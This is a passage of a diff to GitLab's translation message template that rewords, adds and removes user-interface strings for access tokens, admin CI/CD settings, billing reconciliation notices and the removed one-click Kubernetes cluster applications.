msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
